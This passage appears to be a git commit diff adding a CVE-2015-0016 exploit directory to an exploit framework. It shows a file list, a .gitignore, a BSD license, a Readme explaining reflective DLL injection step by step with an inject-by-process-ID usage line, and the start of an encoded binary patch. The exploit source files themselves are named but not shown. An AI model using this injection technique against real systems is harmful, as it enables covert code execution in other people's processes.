.../exploits/cve-2015-0016/cve-2015-0016.sln | 22 - .../cve-2015-0016/cve-2015-0016/ReadMe.txt | 48 -- .../cve-2015-0016/cve-2015-0016.cpp | 46 -- .../cve-2015-0016/cve-2015-0016.vcxproj | 105 ---- .../cve-2015-0016/cve-2015-0016/dllmain.cpp | 24 - .../cve-2015-0016/cve-2015-0016/stdafx.cpp | 8 - .../cve-2015-0016/cve-2015-0016/stdafx.h | 16 - .../cve-2015-0016/cve-2015-0016/targetver.h | 8 - .../cve-2015-0016/dll/reflective_dll.sln | 20 + .../cve-2015-0016/dll/reflective_dll.vcproj | 357 +++++++++++++ .../cve-2015-0016/dll/reflective_dll.vcxproj | 268 ++++++++++ .../dll/reflective_dll.vcxproj.filters | 41 ++ .../cve-2015-0016/dll/src/Exploit.cpp | 74 +++ .../exploits/cve-2015-0016/dll/src/Exploit.h | 5 + .../dll/src/ReflectiveDLLInjection.h | 51 ++ .../cve-2015-0016/dll/src/ReflectiveDll.c | 53 ++ .../cve-2015-0016/dll/src/ReflectiveLoader.c | 496 ++++++++++++++++++ .../cve-2015-0016/dll/src/ReflectiveLoader.h | 203 +++++++ .../cve-2015-0016/dll/src/ShimsInstaller.cpp | 190 +++++++ .../cve-2015-0016/dll/src/ShimsInstaller.h | 5 + .../exploits/cve-2015-0016/inject/inject.sln | 20 + .../cve-2015-0016/inject/inject.vcproj | 360 +++++++++++++ .../cve-2015-0016/inject/inject.vcxproj | 258 +++++++++ .../inject.vcxproj.filters} | 72 ++- .../inject/src/GetProcAddressR.c | 116 ++++ .../inject/src/GetProcAddressR.h | 36 ++ .../cve-2015-0016/inject/src/Inject.c | 120 +++++ .../cve-2015-0016/inject/src/LoadLibraryR.c | 234 +++++++++ .../cve-2015-0016/inject/src/LoadLibraryR.h | 41 ++ .../inject/src/ReflectiveDLLInjection.h | 53 ++ .../source/exploits/cve-2015-0016/rdi.sln | 44 ++ 40 files changed, 3160 insertions(+), 315 deletions(-) create mode 100755 external/source/exploits/cve-2015-0016/.gitignore create mode 100755 external/source/exploits/cve-2015-0016/LICENSE.txt create mode 100755 external/source/exploits/cve-2015-0016/Readme.md create mode 100755 external/source/exploits/cve-2015-0016/bin/inject.arm.exe create mode 100755 external/source/exploits/cve-2015-0016/bin/inject.exe create mode 100755 external/source/exploits/cve-2015-0016/bin/inject.x64.exe create mode 100755 external/source/exploits/cve-2015-0016/bin/reflective_dll.arm.dll create mode 100755 external/source/exploits/cve-2015-0016/bin/reflective_dll.dll create mode 100755 external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016.sln delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h delete mode 100755 external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h create mode 100755 external/source/exploits/cve-2015-0016/dll/reflective_dll.sln create mode 100755 external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj create mode 100755 external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj create mode 100755 external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters create mode 100755 external/source/exploits/cve-2015-0016/dll/src/Exploit.cpp create mode 100755 external/source/exploits/cve-2015-0016/dll/src/Exploit.h create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ReflectiveDLLInjection.h create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp create mode 100755 external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h create mode 100755 external/source/exploits/cve-2015-0016/inject/inject.sln create mode 100755 external/source/exploits/cve-2015-0016/inject/inject.vcproj create mode 100755 external/source/exploits/cve-2015-0016/inject/inject.vcxproj rename external/source/exploits/cve-2015-0016/{cve-2015-0016/cve-2015-0016.vcxproj.filters => inject/inject.vcxproj.filters} (57%) create mode 100755 external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c create mode 100755 external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h create mode 100755 external/source/exploits/cve-2015-0016/inject/src/Inject.c create mode 100755 external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c create mode 100755 external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h create mode 100755 external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h create mode 100755 external/source/exploits/cve-2015-0016/rdi.sln diff --git a/external/source/exploits/cve-2015-0016/.gitignore b/external/source/exploits/cve-2015-0016/.gitignore new file mode 100755 index 0000000000..0d61b55c0a --- /dev/null +++ b/external/source/exploits/cve-2015-0016/.gitignore @@ -0,0 +1,16 @@ +Release/ +Debug/ +x64/ +dll/Release/ +dll/Debug/ +dll/reflective_dll.vcproj.*.user +dll/reflective_dll.vcxproj.user +inject/Release/ +inject/Debug/ +inject/inject.vcproj.*.user +inject/inject.vcxproj.user +rdi.ncb +rdi.suo +rdi.sdf +rdi.opensdf +rdi.v11.suo \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/LICENSE.txt b/external/source/exploits/cve-2015-0016/LICENSE.txt new file mode 100755 index 0000000000..f217025f51 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/LICENSE.txt @@ -0,0 +1,25 @@ +Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted +provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of +conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of +conditions and the following disclaimer in the documentation and/or other materials provided +with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to +endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/Readme.md b/external/source/exploits/cve-2015-0016/Readme.md new file mode 100755 index 0000000000..814e6e7517 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/Readme.md @@ -0,0 +1,40 @@ +About +===== + +Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host. + +Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable. + +Overview +======== + +The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. + +Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows. + +* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table. +* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. +* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. +* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. +* The library's headers and sections are loaded into their new locations in memory. +* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses. +* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. +* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory. +* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate. + +Build +===== + +Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll + +Usage +===== + +To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.: + +> inject.exe 1234 + +License +======= + +Licensed under a 3 clause BSD license, please see LICENSE.txt for details. diff --git a/external/source/exploits/cve-2015-0016/bin/inject.arm.exe b/external/source/exploits/cve-2015-0016/bin/inject.arm.exe new file mode 100755 index 0000000000000000000000000000000000000000..8d25d7bbff592fde74ff1c52b6bbeeeb5daaed4f GIT binary patch literal 48640 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 